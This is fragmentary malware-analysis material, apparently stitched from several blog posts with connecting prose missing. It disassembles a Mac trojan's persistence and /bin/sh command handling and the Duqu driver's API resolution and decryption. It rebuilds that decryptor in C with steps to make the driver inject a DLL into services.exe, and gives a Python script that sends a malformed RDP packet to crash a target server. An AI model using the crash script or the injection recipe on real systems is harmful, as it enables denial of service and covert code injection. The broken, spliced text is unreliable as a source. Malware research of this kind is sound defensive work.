0xCAFEBABE
("cafe babe") bytes that mark a Mach-O fat file binary:"/Library/launched"
:
DropItselfAsLibraryLaunched:
...
mov edx, ds:executablePath
mov [esp+4], edx
mov [esp], eax
; get current executable path
call _objc_msgSend
mov edi, eax
mov esi, ds:Library_launched
mov [esp+8], esi
mov eax, ds:isEqualToString_drain
mov [esp+4], eax
mov [esp], edi
; is it "/Library/launched"?
call _objc_msgSend
mov edx, 1
test al, al
jnz quit ; if so, then quit
"/Library/launched"
, it will delete a file at that location if it exists, and then it will copy itself under that name.
mov dword ptr [esp+8], offset LibraryLaunched
mov eax, ds:fileExistsAtPath
mov [esp+4], eax
mov [esp], ebx
; does /Library/launched exist?
call _objc_msgSend
test al, al
jz short copy_itself
mov dword ptr [esp+8], offset LibraryLaunched ; "/Library/launched"
mov eax, ds:isDeletableFileAtPath
mov [esp+4], eax
mov [esp], ebx
; can it be deleted?
call _objc_msgSend
test al, al
jz short copy_itself
mov dword ptr [esp+0Ch], 0
mov dword ptr [esp+8], offset LibraryLaunched ; "/Library/launched"
mov eax, ds:removeItemAtPath
mov [esp+4], eax
mov [esp], ebx
; delete the file
call _objc_msgSend
copy_itself:
mov dword ptr [esp+10h], 0
mov [esp+0Ch], esi
mov [esp+8], edi
mov eax, ds:moveItemAtPath_toPath
mov [esp+4], eax
mov [esp], ebx
; copy itself
call _objc_msgSend
"/Library/LaunchAgents/"
and within that directory it will create a configuration file com.apple.FolderActionsxl.plist
. One of the specified parameters, RunAtLoad
, will make sure the trojan starts whenever the system starts.
CretePlistFile:
...
mov dword ptr [esp+20h], 0
mov dword ptr [esp+1Ch], offset Runatload ; "RunAtLoad"
mov [esp+18h], eax
mov dword ptr [esp+14h], offset Program ; "Program"
mov eax, [ebp+arg_0]
mov [esp+10h], eax
mov dword ptr [esp+0Ch], offset Label ; "Label"
mov [esp+8], ebx
mov eax, ds:dictionaryWithObjectsAndKeys
mov [esp+4], eax
mov eax, ds:NSDictionary
mov [esp], eax
; create NSDictionary
; with the couples above
call _objc_msgSend
mov dword ptr [esp+0Ch], 1
mov edx, [ebp+var_1C]
mov [esp+8], edx
mov edx, ds:writeToFile_atomically
mov [esp+4], edx
mov [esp], eax
; save them into config
call _objc_msgSend
gethostbyname()
API to obtain the IP address of the server. Please note that code relies on an existence of the marker 0x013268B2
:
mov [esp+0Ch], ebx
mov dword ptr [esp+8], 214h
mov dword ptr [esp+4], 1
lea esi, [ebp+var_230]
mov [esp], esi
; read config data (0x214 bytes)
call _fread
cmp eax, 214h
jnz short exit
cmp [ebp+marker], 13268B2h ; check marker 0x013268B2
jnz short exit
mov eax, [ebp+Numeric_IP]
test eax, eax ; is there numeric IP specified?
jnz short IP_is_Ok ; IP exists, skip
lea eax, [ebp+domain_name] ; no IP, resolve domain name
mov [esp+4], eax
mov dword ptr [esp], offset DomainName
call _strcpy
mov dword ptr [esp], offset DomainName
; resolve with gethostbyname()
call Domain2Ip
test al, al
jnz short next
mov dword ptr [esp], offset DomainToIpError
; log error "Domain to ip error!"
call _NSLog
mov dword ptr [esp], 0FFFFFFFFh
; exit
call _exit
IP_is_Ok:
mov [esp+4], esi
mov dword ptr [esp], offset ClientIP
call _strcpy
next:
mov eax, [ebp+server_port]
mov ds:Port, eax
mov [esp], ebx
; close the file
call _fclose
Thread_Function_RecvCommandDataPv()
as shown below (e.g. an "ls"
command will enlist files and the output with the enlisted file and directory names will be submitted to the remote server):
Function_Cmd:
...
mov edx, [ebp+var_D4]
mov [esp+8], edx
mov eax, ds:setStandardOutput
mov [esp+4], eax
mov [esp], edi
call _objc_msgSend
mov dword ptr [esp+8], offset cfstr_BinSh ; "/bin/sh"
mov eax, ds:setLaunchPath
mov [esp+4], eax
mov [esp], edi
call _objc_msgSend
mov eax, ds:launch
mov [esp+4], eax
mov [esp], edi
call _objc_msgSend
mov ecx, [ebp+var_D0]
mov [ebp+var_38], ecx
mov [ebp+var_34], esi
lea eax, [ebp+var_38]
mov [esp+0Ch], eax
mov dword ptr [esp+8], offset Thread_Function_RecvCommandDataPv
mov dword ptr [esp+4], 0
lea eax, [ebp+var_30]
mov [esp], eax
; spawn a thread that submits command output
call _pthread_create
.text:00010D90 sub_decode_parameters proc near
.text:00010D90 push esi
.text:00010D91 mov eax, 0B86249A9h
.text:00010D96 xor ecx, ecx
.text:00010D98 push edi
.text:00010D99 lea esp, [esp+0]
.text:00010DA0 loop:
.text:00010DA0 xor byte_14F90[ecx], al
.text:00010DA6 mov esi, eax
.text:00010DA8 and esi, 0Bh
.text:00010DAB shl esi, 18h
.text:00010DAE shr eax, 5
.text:00010DB1 or esi, eax
.text:00010DB3 and esi, 1FFFFFFFh
.text:00010DB9 mov eax, esi
.text:00010DBB imul esi, eax
.text:00010DBE mov edi, eax
.text:00010DC0 imul edi, 0F64301Ah
.text:00010DC6 xor esi, 395Ch
.text:00010DCC lea esi, [esi+edi+0Dh]
.text:00010DD0 add ecx, 1
.text:00010DD3 xor eax, esi
.text:00010DD5 cmp ecx, 574 ; 574 bytes in total
.text:00010DDB jb short loop
.text:00010DDD mov ax, word ptr buf_enc
.text:00010DE3 test ax, ax
.text:00010DE6 pop edi
.text:00010DE7 pop esi
.text:00010DE8 jnz short exit
.text:00010DEA movzx ecx, word ptr [edx]
.text:00010DED mov edx, [edx+4]
.text:00010DF0 push ecx ; size_t
.text:00010DF1 push edx ; void *
.text:00010DF2 push offset buf_enc
.text:00010DF7 call memcpy
.text:00010DFC add esp, 0Ch
.text:00010DFF exit:
.text:00010DFF retn
.text:00010DFF sub_decode_parameters endp
\Device\{3093AAZ3-1092-2929-9391}
\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\mcd9x86
FILTER
that is known from the previous Duqu variant to contain encoded injection parametersIoCreateDevice()
by using the names:\Device\{BFF55DF2-6530-4935-8CF6-6D6F7DC0AA48}
\Device\{3093AAZ3-1092-2929-9391}
ZwQuerySystemInformation()
API with the SystemModuleInformation
parameter to obtain the list of modules loaded into the kernel. Name of every enumerated module is then compared with _stricmp()
to "ntkrnlpa.exe"
or "ntoskrnl.exe"
strings in order to find the image base of those modules.XOR
-es the PE signature field with 0xF750F284
, then checks if the result is equal 0xF750B7D4
, as shown below:
.text:00012F1E mov eax, 'ZM' ; MZ header
.text:00012F23 cmp [esi], ax
.text:00012F26 jz short next ; get lfanew
...
.text:00012F2D next:
.text:00012F2D mov eax, [esi+3Ch] ; get lfanew
.text:00012F30 add eax, esi ; add it to image base
.text:00012F32 mov ecx, [eax] ; read the DWORD from there
.text:00012F34 xor ecx, 0F750F284h ; it must be 'P' 'E' '0' '0'
.text:00012F3A cmp ecx, 0F750B7D4h
.text:00012F40 jnz short quit ; if no PE-signature, quit
".text"
or "PAGE"
. The section name check is carried out by hashing section name and then checking the hash against 2 known hashes of ".text"
and "PAGE"
- 0xAB405E8F
and 0x18DB09E1
:
.text:00012040 check_next_section:
.text:00012040 movzx eax, di
.text:00012043 lea edx, [eax+eax*4]
.text:00012046 mov eax, [ebp+edx*8+24h]
.text:0001204A lea esi, [ebp+edx*8+0]
.text:0001204E and eax, 62000020h ; ignore non-page flag
.text:00012053 cmp eax, 60000020h ; make sure it's read/exec
.text:00012058 jnz short inc_check_next_section
.text:0001205A mov ecx, esi
.text:0001205C call hash_section_name
.text:00012061 cmp eax, 0AB405E8Fh ; hash of ".text" string
.text:00012066 jz short next
.text:00012068 cmp eax, 18DB09E1h ; hash of "PAGE" string
.text:0001206D jnz short inc_check_next_section
ZwAllocateVirtualMemory()
function within that section. Here is how it does that.ntkrnlpa.exe
. It will then hash the exported function names looking for the hashes of the APIs it is interested in, and collecting the addresses of those APIs:
.text:0001219D lea eax, [esp+34h+ptr]
.text:000121A1 push 47E31156h ; hash of "PsGetProcessSessionId"
.text:000121A6 push eax
.text:000121A7 call find_api_by_hash
.text:000121AC lea ecx, [esp+3Ch+ptr]
.text:000121B0 push 0C9FD3510h ; hash of "PsGetProcessPeb"
.text:000121B5 push ecx
.text:000121B6 mov PsGetProcessSessionId, eax
.text:000121BB call find_api_by_hash
.text:000121C0 lea edx, [esp+44h+ptr]
.text:000121C4 push 612F3500h ; hash of "PsLookupProcessByProcessId"
.text:000121C9 push edx
.text:000121CA mov PsGetProcessPeb, eax
.text:000121CF call find_api_by_hash
.text:000121D4 mov PsLookupProcessByProcessId, eax
.text:000121D9 lea eax, [esp+4Ch+ptr]
.text:000121DD push 1407F237h ; hash of "PsSetLoadImageNotifyRoutine"
.text:000121E2 push eax
.text:000121E3 call find_api_by_hash
.text:000121E8 lea ecx, [esp+54h+ptr]
.text:000121EC push 4A1D957Fh ; hash of "KeStackAttachProcess"
.text:000121F1 push ecx
.text:000121F2 mov PsSetLoadImageNotifyRoutine, eax
.text:000121F7 call find_api_by_hash
.text:000121FC lea edx, [esp+5Ch+ptr]
.text:00012200 push 7E676A4Ch ; hash of "KeUnstackDetachProcess"
.text:00012205 push edx
.text:00012206 mov KeStackAttachProcess, eax
.text:0001220B call find_api_by_hash
.text:00012210 add esp, 40h
.text:00012213 mov KeUnstackDetachProcess, eax
.text:00012218 lea eax, [esp+24h+ptr]
.text:0001221C push 0D3C50AD9h ; hash of "ObOpenObjectByPointer"
.text:00012221 push eax
.text:00012222 call find_api_by_hash
.text:00012227 lea ecx, [esp+2Ch+ptr]
.text:0001222B push 0E5AC234h ; hash of "ZwQuerySystemInformation"
.text:00012230 push ecx
.text:00012231 mov ObOpenObjectByPointer, eax
.text:00012236 call find_api_by_hash
.text:0001223B lea edx, [esp+34h+ptr]
.text:0001223F push 0F82D7E6Dh ; hash of "ZwAllocateVirtualMemory"
.text:00012244 push edx
.text:00012245 mov ZwQuerySystemInformation, eax
.text:0001224A call find_api_by_hash
.text:0001224F mov ZwAllocateVirtualMemory, eax
.text:00012254 lea eax, [esp+3Ch+ptr]
.text:00012258 push 7C19400Ch ; hash of "ZwOpenFile"
.text:0001225D push eax
.text:0001225E call find_api_by_hash
.text:00012263 lea ecx, [esp+44h+ptr]
.text:00012267 push 0DA18F72Ch ; hash of "ZwQueryInformationFile"
.text:0001226C push ecx
.text:0001226D mov ZwOpenFile, eax
.text:00012272 call find_api_by_hash
.text:00012277 lea edx, [esp+4Ch+ptr]
.text:0001227B push 0C840A85Dh ; hash of "ZwQueryInformationProcess"
.text:00012280 push edx
.text:00012281 mov ZwQueryInformationFile, eax
.text:00012286 call find_api_by_hash
.text:0001228B mov ZwQueryInformationProcess, eax
.text:00012290 lea eax, [esp+54h+ptr]
.text:00012294 push 8619E771h ; hash of "ZwReadFile"
.text:00012299 push eax
.text:0001229A call find_api_by_hash
.text:0001229F add esp, 38h
.text:000122A2 mov ZwReadFile, eax
68 04 01 00 00
. These bytes correspond to "push 104h"
instruction:
.text:00011ED0 next_byte:
.text:00011ED0 mov edx, [esi]
.text:00011ED2 cmp edx, dword ptr ds:push_104h
.text:00011ED8 jz short found_push_104h
.text:00011EDA add esi, 1
.text:00011EDD cmp esi, ecx
.text:00011EDF jbe short next_byte
"push 104h"
instruction is found, it starts looking for an instruction that follows it, an instruction that starts from E8
(CALL
) and followed with a relative offset of the function to call. The code makes sure that the offset is precisely equal to a difference between the virtual address of the next instruction that follows CALL
(5 bytes forward) and the virtual address of the function ZwAllocateVirtualMemory()
- an address that it has just retrieved from the import address table of ntkrnlpa.exe
. That is, it makes sure the offset corresponds ZwAllocateVirtualMemory()
function:
.text:00011C60 loop:
.text:00011C60 lea ebp, [eax+edi] ; EDI=ntkrnlpa.exe base, starts from IAT
.text:00011C63 cmp ebp, esi ; pointer limit
.text:00011C65 jnb short exit
.text:00011C67 cmp byte ptr [ecx], 0E8h ; E8 = CALL opcode
.text:00011C6A jnz short next_byte
.text:00011C6C mov ebp, [ecx+1]
.text:00011C6F lea ebp, [ecx+ebp+5]
.text:00011C73 cmp ebp, edx ; EDX=ZwAllocateVirtualMemory() address
.text:00011C75 jz short found_ZwAllocateVirtualMemory
.text:00011C77 next_byte:
.text:00011C77 add eax, 1
.text:00011C7A sub ecx, 1
.text:00011C7D cmp eax, 128 ; limit = 128 bytes
.text:00011C82 jb short loop ; EDI=ntkrnlpa.exe base, starts from IAT
ntkrnlpa.exe
(note the "push 104h"
instruction encoded as 68 04 01 00 00
and the last instruction's opcode of E8
):
.text:8052111C 68 04 01 00 00 push 104h ; PAGE_READWRITE | PAGE_GUARD
.text:80521121 50 push eax ; AllocationType
.text:80521122 8D 45 E0 lea eax, [ebp+AllocationSize]
.text:80521125 50 push eax ; AllocationSize
.text:80521126 53 push ebx ; ZeroBits
.text:80521127 8D 45 E4 lea eax, [ebp+BaseAddress]
.text:8052112A 50 push eax ; BaseAddress
.text:8052112B 6A FF push 0FFFFFFFFh ; ProcessHandle
.text:8052112D E8 96 C2 FD FF call ZwAllocateVirtualMemory
ZwAllocateVirtualMemory()
call, the "push 104h"
instruction means passing that function a "Protect" parameter as PAGE_READWRITE
and PAGE_GUARD
.ntkrnlpa.exe
looking for a section with a virtual address space enclosing the virtual address of ZwAllocateVirtualMemory()
. In short, it needs to know what section of the PE image implements ZwAllocateVirtualMemory()
function.
.text:00012E66 next_section:
.text:00012E66 movzx eax, di
.text:00012E69 imul eax, 28h
.text:00012E6C add eax, esi
.text:00012E6E mov ecx, [eax+8] ; section virtual size
.text:00012E71 mov edx, [eax+10h] ; section's raw data size
.text:00012E74 cmp ecx, edx
.text:00012E76 jb short next
.text:00012E78 mov ecx, edx
.text:00012E7A
.text:00012E7A next:
.text:00012E7A mov eax, [eax+0Ch] ; section RVA
.text:00012E7D add eax, [ebp+image_base] ; section VA
.text:00012E80 cmp [ebp+ZwAllocateVirtualMemory], eax
.text:00012E83 jb short inc_section_number ; jump if section VA
.text:00012E83 ; is less than ZwAllocateVirtualMemory
.text:00012E85 add eax, ecx ; section VA + size = end of section
.text:00012E87 cmp [ebp+ZwAllocateVirtualMemory], eax
.text:00012E8A jb short found_section ; ZwAllocateVirtualMemory must be
.text:00012E8C ; less than the end of section
.text:00012E8C inc_section_number:
.text:00012E8C inc edi ; if not, increment section counter
.text:00012E8D cmp di, bx ; make sure it's less than section num
.text:00012E90 jb short next_section ; check next section
".text"
or "PAGE"
, and must be read/executable:
.text:00011CC8 mov ecx, [edi+24h] ; get section's characteristics
.text:00011CCB and ecx, 62000020h ; ignore non-page flag
.text:00011CD1 cmp ecx, 60000020h ; read/executable?
.text:00011CD7 jnz short loop
.text:00011CD9 mov ecx, edi
.text:00011CDB call hash_section_name
.text:00011CE0 cmp eax, 0AB405E8Fh ; hash of ".text" string
.text:00011CE5 jz short next ; found ".text"
.text:00011CE7 cmp eax, 18DB09E1h ; hash of "PAGE" string
.text:00011CEC jnz short loop ; neither ".text" nor "PAGE", get next
ZwAllocateVirtualMemory()
is implemented:
.text:00011CFA mov edx, [edi+0Ch] ; section RVA
.text:00011CFD add edx, [ebp+8] ; + image_base = section VA
.text:00011D00 add edx, eax ; end of section
.text:00011D02 lea eax, [esi+14h] ; VA of ZwAllocateVirtualMemory
.text:00011D05 cmp eax, edx
.text:00011D07 ja short loop
.text:00011D09 call matches_ZwAllocateVirtualMemory_opcodes
.text:00011D0E test al, al
.text:00011D10 jnz short found_match
.text:00011BC5 sub ecx, offset opcodes_mask
.text:00011BCB lea edx, [eax+1]
.text:00011BCE mov edi, edi
.text:00011BD0 check_next_byte:
.text:00011BD0 mov bl, ds:opcodes_mask[ecx+eax]
.text:00011BD7 and bl, ds:opcodes_mask[eax]
.text:00011BDD cmp bl, ds:expected_opcodes[eax]
.text:00011BE3 jnz short quit
.text:00011BE5 add eax, edx
.text:00011BE7 cmp eax, 20 ; check 20 bytes only
.text:00011BEA jb short check_next_byte
expected_opcodes
and opcodes_mask
mentioned above are defined in the code as shown below (expected_opcodes
is selected in yellow, opcodes_mask
is selected in blue):00
, the corresponding opcode byte is ignored; if it's FF
, the opcode byte must have an exact match with the expected opcode byte. The expected_opcodes
masked with the opcodes_mask
reveal the exact implementation of ZwAllocateVirtualMemory()
within ntkrnlpa.exe:ZwAllocateVirtualMemory()
code matches a known opcode pattern, Duqu is able to find out if there are any hooks placed for the kernel's ZwAllocateVirtualMemory()
API.FILTER
.mcd9x86
with ZwOpenKey()
, then queries its FILTER
value with ZwQueryValueKey()
(dynamically retrieved from the kernel image), then calls a decryptor in order to decode the parameters passed via that value.EDX
pointing into the encrypted content, ESI
containing the content size, and EAX
containing the initial key value (the seed) of 0x59859a12
. During the decryption, the key will change its value too, forming a simple multiplication rolling key scheme:
.text:00012520 sub_decrypt proc near
.text:00012520 xor eax, 0B86249A9h
.text:00012525 xor ecx, ecx
.text:00012527 test esi, esi
.text:00012529 jbe short exit
.text:0001252B push ebx
.text:0001252C push edi
.text:0001252D lea ecx, [ecx+0]
.text:00012530 loop:
.text:00012530 xor [ecx+edx], al
.text:00012533 mov edi, eax
.text:00012535 and edi, 0Bh
.text:00012538 shl edi, 18h
.text:0001253B shr eax, 5
.text:0001253E or edi, eax
.text:00012540 and edi, 1FFFFFFFh
.text:00012546 mov eax, edi
.text:00012548 imul edi, eax
.text:0001254B mov ebx, eax
.text:0001254D imul ebx, 0F64301Ah
.text:00012553 xor edi, 395Ch
.text:00012559 lea edi, [edi+ebx+0Dh]
.text:0001255D add ecx, 1
.text:00012560 xor eax, edi
.text:00012562 cmp ecx, esi
.text:00012564 jb short loop
.text:00012566 pop edi
.text:00012567 pop ebx
.text:00012568 exit:
.text:00012568 retn
.text:00012568 sub_decrypt endp
FILTER
value is not known, as the driver was found without a dropper. Nevertheless, calling decrypt()
function above over the same buffer reverts its content back into original state. Knowing that, it is possible to construct a fake FILTER
value for the driver that would contain encrypted fake parameters. Next, the driver can be debugged to see how it decrypts the parameters and how it then parses and uses them.
void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)
{
_asm
{
mov edx, lpbyBuffer /* restore input parameters */
mov esi, dwSize /* EDX is a buffer pointer, ESI - size */
mov eax, dwSeed /* EAX - initial key value (seed) */
xor eax, 0B86249A9h
xor ecx, ecx
test esi, esi
jbe short l_exit
push ebx
push edi
lea ecx, [ecx+0]
l_loop:
xor [ecx+edx], al
mov edi, eax
and edi, 0Bh
shl edi, 18h
shr eax, 5
or edi, eax
and edi, 1FFFFFFFh
mov eax, edi
imul edi, eax
mov ebx, eax
imul ebx, 0F64301Ah
xor edi, 395Ch
lea edi, [edi+ebx+0Dh]
add ecx, 1
xor eax, edi
cmp ecx, esi
jb short l_loop
pop edi
pop ebx
l_exit:
}
}
void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)
{
DWORD dwKey;
DWORD dwCount;
DWORD dwTemp;
dwKey = dwSeed ^ 0xB86249A9;
dwCount = 0;
if (dwSize > 0)
{
do
{
lpbyBuffer[dwCount++] ^= dwKey;
dwTemp = ((dwKey >> 5) | ((dwKey & 0xB) << 24)) & 0x1FFFFFFF;
dwKey = ((dwTemp * dwTemp ^ 0x395C) + 0xF64301A * dwTemp + 13) ^ dwTemp;
}
while (dwCount < dwSize);
}
}
Decrypt()
function can be called as:
void DecryptFile(DWORD dwSeed)
{
HANDLE hFile;
HANDLE hMap;
LPBYTE lpbyBase;
DWORD dwSize;
if ((hFile = CreateFile(L"FILE_NAME_TO_DECRYPT",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)) != INVALID_HANDLE_VALUE)
{
if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
((hMap = CreateFileMapping(hFile,
NULL,
PAGE_READWRITE,
0,
0,
NULL)) != NULL))
{
if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap,
FILE_MAP_ALL_ACCESS,
0,
0,
0)) != NULL)
{
Decrypt(dwSeed, lpbyBase, dwSize);
UnmapViewOfFile(lpbyBase);
}
CloseHandle(hMap);
}
CloseHandle(hFile);
}
}
\SystemRoot\inf\netp191.PNF
), the name length (0x38
), the process name where DLL should be injected (services.exe
) and its name length (0x1A
).14
indicates if the DLL file is encrypted or not. If its value is 0x03
, the DLL is encrypted with the same encryption algorithm as the parameters themselves, only the initial seed value for the key is different - it is specified as 0xAE240682
at the offset 16
. The value of 1
means the specified DLL is NOT encrypted (oh, yes).0xAE240682
) will be used to encrypt a custom-built DLL.DecryptFile()
above by using the seed value of 0x59859a12
will produce an encrypted dump. It is convenient to put those encrypted parameters into a REG file as a text:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mcd9x86]
"FILTER"=hex:bb,89,0d,99,2c,35,5d,bb,21,86,5d,d3,36,ad,3a,7d,89,17,95,87,af,91,b5,39,\
ee,1d,5c,8d,0f,23,33,63,12,fb,bc,87,90,e7,1c,6b,c5,07,04,0b,c1,19,44,3d,\
ed,47,3b,01,21,2d,11,53,f8,c1,f6,35,ae,9f,71,e1,ca,99,b0,af,9b,87,3a,e3,\
08,83,79,e9,9b,9f,54,25,83,1f,07,9b,69,ed,41,6d,36,6b,ff,85,d5,71,82,71,\
6a,73,ba,dd,a9,45,4b,e1,29,5b,6d,2d,4d,43,f9
netp1091.PNF
into services.exe
. But first, let's compile a simple test DLL called netp1091.PNF
with the code below:
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
wchar_t szProcessFileName[MAX_PATH];
GetModuleFileName(NULL,
szProcessFileName,
MAX_PATH);
MessageBoxW(NULL,
szProcessFileName,
L"Test DLL was loaded successfully!",
MB_OK);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
PsSetLoadImageNotifyRoutine()
API to register a callback function that is subsequently notified whenever an image is loaded. Within that callback, Duqu will map the specified DLL into the specified process. That means, that the test DLL above will only be mapped into services.exe
when services.exe
process is started.DecryptFile()
provided above and using the seed value of 0xAE240682
(as specified in the parameters stored in the registry value).netp191.PNF
is saved into c:\windows\inf
directory. The aforementioned REG
file is imported with the registry editor to place the encrypted parameters into the value FILTER
.%DESKTOP%\services.exe
. When it is launched, the driver's callback function registered with PsSetLoadImageNotifyRoutine()
is called that will invoke the DLL injection routine.netp191.PNF
is not visible in the list of the loaded DLLs as it was injected into the heap memory of the host process:Rdpcore.dll
and RdpWD.sys
. Comparison of the files in the disassembled form before and after update reveals the code changes.RdpWD.sys
. But first, what's the role of this file in the Remote Desktop Protocol?RdpWD.sys
- the keyboard and mouse driver that transfers keyboard/mouse events over TCP connection. The driver also creates virtual channels that set up redirection of other hardware devices (disc, audio, printers) - this allows transferring the requested data over the TCP connection.HandleAttachUserReq()
. Here is the snippet of the original driver's source code (v6.1.7600.16385 found on 32-bit Windows 7):
.text:0002F900 lea eax, [ebp+P]
.text:0002F903 push eax
.text:0002F904 push [ebp+P]
.text:0002F907 add esi, 74h
.text:0002F90A push esi
.text:0002F90B call SListRemove
.text:0002F910 quit:
.text:0002F910 mov al, 1
.text:0002F913 lea eax, [ebp+P]
.text:0002F916 push eax
.text:0002F917 push [ebp+P]
.text:0002F91A add esi, 74h
.text:0002F91D push esi
.text:0002F91E call SListRemove
.text:0002F91E ; <-- ADDED BLOCK
.text:0002F923 mov eax, [ebp+P] ; restore pointer in EAX
.text:0002F926 cmp eax, ebx ; compare it to NULL
.text:0002F928 jz short quit ; if NULL, quit
.text:0002F92A cmp [eax+5], bl
.text:0002F92D jnz short quit
.text:0002F92F push eax ; release the pool
.text:0002F930 call WDLIBRT_MemFree
.text:0002F935 quit:
.text:0002F935 mov al, 1
WDLIBRT_MemFree()
function, which is merely a wrapper around ExFreePoolWithTag()
- a function that deallocates a block of pool memory:
.text:00013BA0 WDLIBRT_MemFree proc near ; wrapper for ExFreePoolWithTag()
.text:00013BA0
.text:00013BA0 P = dword ptr 8
.text:00013BA0
.text:00013BA0 mov edi, edi
.text:00013BA2 push ebp
.text:00013BA3 mov ebp, esp
.text:00013BA5 push 0 ; Tag is NULL
.text:00013BA7 push [ebp+P] ; P - pool pointer, passed as an argument
.text:00013BAA call ds:ExFreePoolWithTag
.text:00013BB0 pop ebp
.text:00013BB1 retn 4
.text:00013BB1 WDLIBRT_MemFree endp
0x00000000
that corresponds to TS_UD_CS_CORE::serverSelectedProtocol
.03
-> TPKT: TPKT version = 300
-> TPKT: Reserved = 000
-> TPKT: Packet length - high part13
-> TPKT: Packet length - low part (total = 19 bytes)0E
-> X.224: Length indicator = (14 bytes)E0
-> X.224: Type = 0xE0 = Connection Confirm00 00
-> X.224: Destination reference = 000 00
-> X.224: Source reference = 000
-> X.224: Class and options = 001
-> RDP Negotiation Message (TYPE_RDP_NEG_REQ)00
-> flags (0)08 00
-> RDP_NEG_REQ length (8 bytes)00 00 00 00
-> RDP_NEG_REQ: Selected protocols (PROTOCOL_RDP)03 00 00 08
-> TPKT Header (length = 8 bytes)02 f0 80
-> X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)28
-> PER encoded PDU contents (select attachUserRequest)Connect-Initial::targetParameters
header in the packet: 30 19
30
-> ASN.1 BER encoded SequenceOf type.19
-> length of the sequence data (25 bytes)DomainParameters::maxChannelIds
field: 02 01 22
02
-> ASN.1 BER encoded Integer type01
-> length of the integer (1 byte)22
-> actual value is 34 (0x22)maxChannelIds
(0x22) with 0 - this byte is located at the packet offset of 0x2C.maxChannelIds
value of the targetParameters
to 0
. That's probably the only "evil" byte in the whole packet. Can there be a signature reliably constructed to catch such packet (a rhetorical question)? 0
as 02 01 00
, or 02 02 0000
, or 02 04 00000000
- that is, using 1, 2, or 4 bytes), is there a reasonably small number of combinations that can potentially assemble a malformed packet with the "evil" byte in it, a number so small that it can be covered with the signatures (another rhetorical question)?packet.bin
and running the Python script below will cause BSoD for the target server at %TARGET_IP_ADDRESS%
:
import socket
f = open('packet.bin', 'r')
packet = f.read()
f.close
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("%TARGET_IP_ADDRESS%", 3389))
s.send(packet)
data = s.recv(4096)
termdd!IcaBufferAllocEx
:0x8d02c987
attempts to read a pointer (the next instruction references a DWORD
pointed by it, and compares its value with 0
) from the address 0x0a400620
:
termdd!IcaBufferAllocEx:
8d02c96c mov edi,edi
8d02c96e push ebp
8d02c96f mov ebp,esp
8d02c971 push ecx
8d02c972 cmp dword ptr [ebp+14h],19h
8d02c976 push esi
8d02c977 push edi
8d02c978 mov edi,dword ptr [ebp+8]
8d02c97b sete al
8d02c97e mov byte ptr [ebp-4],al
8d02c981 lea eax,[edi-14h]
8d02c984 push eax
8d02c985 jmp termdd!IcaBufferAllocEx+0x24
8d02c987 mov eax,dword ptr [esi+18h] ds:0023:0a400620=???????? ; <- ERROR !!!
8d02c98a cmp dword ptr [eax],0
8d02c98d jne termdd!IcaBufferAllocEx+0x4a
8d02c98f push esi
8d02c990 call termdd!IcaGetPreviousSdLink
8d02c995 mov esi,eax
8d02c997 test esi,esi
8d02c999 jne termdd!IcaBufferAllocEx+0x1b
8d02c99b push dword ptr [ebp+1Ch]
8d02c99e push dword ptr [ebp+18h]
8d02c9a1 push dword ptr [ebp+14h]
8d02c9a4 push dword ptr [ebp+10h]
8d02c9a7 push dword ptr [ebp+0Ch]
8d02c9aa push edi
8d02c9ab call termdd!IcaBufferAllocInternal
8d02c9b0 pop edi
8d02c9b1 pop esi
8d02c9b2 leave
8d02c9b3 ret 18h
IcaBufferAllocEx()
function within termdd.sys
is called from RdpWD.sys
driver and can be traced back to its NM_Disconnect()
call:
termdd!IcaBufferAllocEx+0x1b
RDPWD!WDICART_IcaBufferAllocEx+0x24
RDPWD!StackBufferAllocEx+0x5c
RDPWD!MCSDetachUserRequest+0x29
RDPWD!NMDetachUserReq+0x14
RDPWD!NM_Disconnect+0x16
RDPWD!SM_Disconnect+0x27
RDPWD!SM_OnConnected+0x70
RDPWD!NMAbortConnect+0x23
RDPWD!NM_Connect+0x68
RDPWD!SM_Connect+0x11d
RDPWD!WDWConnect+0x557
RDPWD!WDLIB_TShareConfConnect+0xa0
RDPWD!WDSYS_Ioctl+0x6c9
termdd!_IcaCallSd+0x37
termdd!_IcaCallStack+0x57
termdd!IcaDeviceControlStack+0x466
termdd!IcaDeviceControl+0x59
termdd!IcaDispatch+0x13f
nt!IofCallDriver+0x63
nt!IopSynchronousServiceTail+0x1f8
nt!IopXxxControlFile+0x6aa
nt!NtDeviceIoControlFile+0x2a
nt!KiFastCallEntry+0x12a
maxChannelIds
field of the T.125 ConnectMCSPDU
packet when set to a value less or equal to 5
. That field was patched in the example above with 0
.RDPWD!NM_Disconnect
while the effect of the possible code execution is visible in termdd!IcaBufferAlloc
.
# grep favicon.ico /var/log/apache2/access.log
78.84.166.152 - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-"
76.120.74.98 - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
76.120.74.98 - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
192.168.24.122 - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
